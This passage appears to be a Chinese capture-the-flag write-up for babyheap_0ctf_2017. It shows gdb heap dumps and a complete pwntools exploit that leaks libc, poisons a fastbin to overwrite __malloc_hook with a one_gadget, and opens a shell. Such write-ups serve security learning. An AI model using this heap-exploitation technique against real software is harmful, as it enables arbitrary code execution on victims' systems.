0x7ff5da1deb1d: 0x0000000000000000 
0x7ff5da1deb25 <main_arena+5>:  0x0000000000000000

填入onegadget

heap

0x55efd712d000 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x6161616161616161, 
  bk = 0x6161616161616161, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x55efd712d070 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55efd712d0e0 FASTBIN {
  prev_size = 0, 
  size = 113, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55efd712d150 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

gdb

pwndbg> x/gx 0x7f0f7c16ab10-35
0x7f0f7c16aaed <_IO_wide_data_0+301>:   0x0f7c169260000000 
0x7f0f7c16aaf5 <_IO_wide_data_0+309>:   0x000000000000007f
0x7f0f7c16aafd: 0x4141414141414141
0x7f0f7c16ab05 <__memalign_hook+5>:     0x4141414141414141
0x7f0f7c16ab0d <__realloc_hook+5>:      0x0f7bdeb26a414141
0x7f0f7c16ab15 <__malloc_hook+5>:       0x000000000000007f

0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a >one gadget

0x7f0f7c16ab0d <__realloc_hook+5>的数值 = 0x7f0f7bdeb26a

EXP

from pwn import *
context.log_level = 'debug'
#p = remote("node3.buuoj.cn",26611)
libc = ELF("./libc-2.23.so")
p = process("./babyheap_0ctf_2017")

def Allocate(size):
    p.sendlineafter("Command: ","1")
    p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
    p.sendlineafter("Command: ","2")
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(len(content)))
    p.sendlineafter("Content: ",content)

def Free(idx):
    p.sendlineafter("Command: ","3")
    p.sendlineafter("Index: ",str(idx))

def Dump(idx):
    p.recvuntil("Command:")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil('Content: \n')
    return p.recvline()

def GDB():
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(p)

Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
Allocate(0x60)
Allocate(0x60)
Fill(2,"A"*(35-8-8)+p64(base+0x4526a))
Allocate(0x10)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容